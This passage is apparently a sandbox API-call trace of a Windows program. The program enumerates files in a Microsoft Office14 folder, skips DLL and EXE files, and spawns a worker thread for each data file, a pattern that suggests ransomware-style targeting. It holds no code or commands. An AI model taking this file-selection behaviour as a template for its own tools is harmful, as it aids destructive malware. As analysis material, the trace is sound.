ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0158.139] wcscmp (_String1="OART.DLL", _String2=".") returned 1 [0158.139] wcscmp (_String1="OART.DLL", _String2="..") returned 1 [0158.139] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0158.139] wcscmp (_String1="OARTCONV.DLL", _String2=".") returned 1 [0158.139] wcscmp (_String1="OARTCONV.DLL", _String2="..") returned 1 [0158.139] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0158.139] wcscmp (_String1="OCRHC.DAT", _String2=".") returned 1 [0158.139] wcscmp (_String1="OCRHC.DAT", _String2="..") returned 1 [0158.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x972938 [0158.139] wcscpy (in: _Dest=0x972938, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.139] wcscat (in: _Dest=0x972938, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.139] wcscat (in: _Dest=0x972938, _Source="OCRHC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" [0158.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0158.140] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0158.140] wcscmp (_String1="OCRVC.DAT", _String2=".") returned 1 [0158.140] wcscmp (_String1="OCRVC.DAT", _String2="..") returned 1 [0158.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x971fd8 [0158.140] wcscpy (in: _Dest=0x971fd8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.140] wcscat (in: _Dest=0x971fd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.140] wcscat (in: _Dest=0x971fd8, _Source="OCRVC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" [0158.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0158.141] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0158.142] wcscmp (_String1="OEMPRINT.CAT", _String2=".") returned 1 [0158.142] wcscmp (_String1="OEMPRINT.CAT", _String2="..") returned 1 [0158.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9726e0 [0158.142] wcscpy (in: _Dest=0x9726e0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.142] wcscat (in: _Dest=0x9726e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.142] wcscat (in: _Dest=0x9726e0, _Source="OEMPRINT.CAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" [0158.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9726e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="OFFOWC.DLL", _String2=".") returned 1 [0158.143] wcscmp (_String1="OFFOWC.DLL", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="OFFRHD.DLL", _String2=".") returned 1 [0158.143] wcscmp (_String1="OFFRHD.DLL", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="OFFXML.DLL", _String2=".") returned 1 [0158.143] wcscmp (_String1="OFFXML.DLL", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="ogalegit.dll", _String2=".") returned 1 [0158.143] wcscmp (_String1="ogalegit.dll", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="OIMG.DLL", _String2=".") returned 1 [0158.143] wcscmp (_String1="OIMG.DLL", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0158.143] wcscmp (_String1="OIS.EXE", _String2=".") returned 1 [0158.143] wcscmp (_String1="OIS.EXE", _String2="..") returned 1 [0158.143] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0158.144] wcscmp (_String1="OISAPP.DLL", _String2=".") returned 1 [0158.144] wcscmp (_String1="OISAPP.DLL", _String2="..") returned 1 [0158.144] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0158.144] wcscmp (_String1="oisctrl.dll", _String2=".") returned 1 [0158.144] wcscmp (_String1="oisctrl.dll", _String2="..") returned 1 [0158.144] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0158.144] wcscmp (_String1="OISGRAPH.DLL", _String2=".") returned 1 [0158.144] wcscmp (_String1="OISGRAPH.DLL", _String2="..") returned 1 [0158.144] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0158.144] wcscmp (_String1="OLKFSTUB.DLL", _String2=".") returned 1 [0158.144] wcscmp (_String1="OLKFSTUB.DLL", _String2="..") returned 1 [0158.144] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0158.144] wcscmp (_String1="OLKIRM.XML", _String2=".") returned 1 [0158.144] wcscmp (_String1="OLKIRM.XML", _String2="..") returned 1 [0158.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x972c08 [0158.144] wcscpy (in: _Dest=0x972c08, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.144] wcscat (in: _Dest=0x972c08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.144] wcscat (in: _Dest=0x972c08, _Source="OLKIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" [0158.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0158.145] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0158.145] wcscmp (_String1="OLKIRMV.XML", _String2=".") returned 1 [0158.145] wcscmp (_String1="OLKIRMV.XML", _String2="..") returned 1 [0158.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x9721b8 [0158.145] wcscpy (in: _Dest=0x9721b8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.145] wcscat (in: _Dest=0x9721b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.145] wcscat (in: _Dest=0x9721b8, _Source="OLKIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" [0158.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9721b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0158.147] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0158.147] wcscmp (_String1="OLMAPI32.DLL", _String2=".") returned 1 [0158.147] wcscmp (_String1="OLMAPI32.DLL", _String2="..") returned 1 [0158.147] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0158.147] wcscmp (_String1="OMML2MML.XSL", _String2=".") returned 1 [0158.147] wcscmp (_String1="OMML2MML.XSL", _String2="..") returned 1 [0158.147] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972320 [0158.147] wcscpy (in: _Dest=0x972320, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.147] wcscat (in: _Dest=0x972320, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.147] wcscat (in: _Dest=0x972320, _Source="OMML2MML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" [0158.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4 [0158.148] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0158.150] wcscmp (_String1="OMSMAIN.DLL", _String2=".") returned 1 [0158.150] wcscmp (_String1="OMSMAIN.DLL", _String2="..") returned 1 [0158.150] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0158.150] wcscmp (_String1="OMSXP32.DLL", _String2=".") returned 1 [0158.150] wcscmp (_String1="OMSXP32.DLL", _String2="..") returned 1 [0158.150] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0158.150] wcscmp (_String1="ONBttnIE.dll", _String2=".") returned 1 [0158.150] wcscmp (_String1="ONBttnIE.dll", _String2="..") returned 1 [0158.150] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0158.151] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2=".") returned 1 [0158.151] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2="..") returned 1 [0158.151] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0158.151] wcscmp (_String1="ONBttnOL.dll", _String2=".") returned 1 [0158.151] wcscmp (_String1="ONBttnOL.dll", _String2="..") returned 1 [0158.151] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0158.151] wcscmp (_String1="ONBttnPPT.dll", _String2=".") returned 1 [0158.151] wcscmp (_String1="ONBttnPPT.dll", _String2="..") returned 1 [0158.151] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0158.151] wcscmp (_String1="ONBttnWD.dll", _String2=".") returned 1 [0158.151] wcscmp (_String1="ONBttnWD.dll", _String2="..") returned 1 [0158.151] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0158.151] wcscmp (_String1="OneNote", _String2=".") returned 1 [0158.151] wcscmp (_String1="OneNote", _String2="..") returned 1 [0158.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0f78 [0158.151] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.151] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.151] wcscat (in: _Dest=0x8f0f78, _Source="OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0159.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c [0159.482] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0159.482] wcscmp (_String1="ONENOTE.EXE", _String2=".") returned 1 [0159.482] wcscmp (_String1="ONENOTE.EXE", _String2="..") returned 1 [0159.482] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0159.482] wcscmp (_String1="ONENOTEIRM.XML", _String2=".") returned 1 [0159.482] wcscmp (_String1="ONENOTEIRM.XML", _String2="..") returned 1 [0159.482] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfd80 [0159.482] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0159.482] wcscat (in: 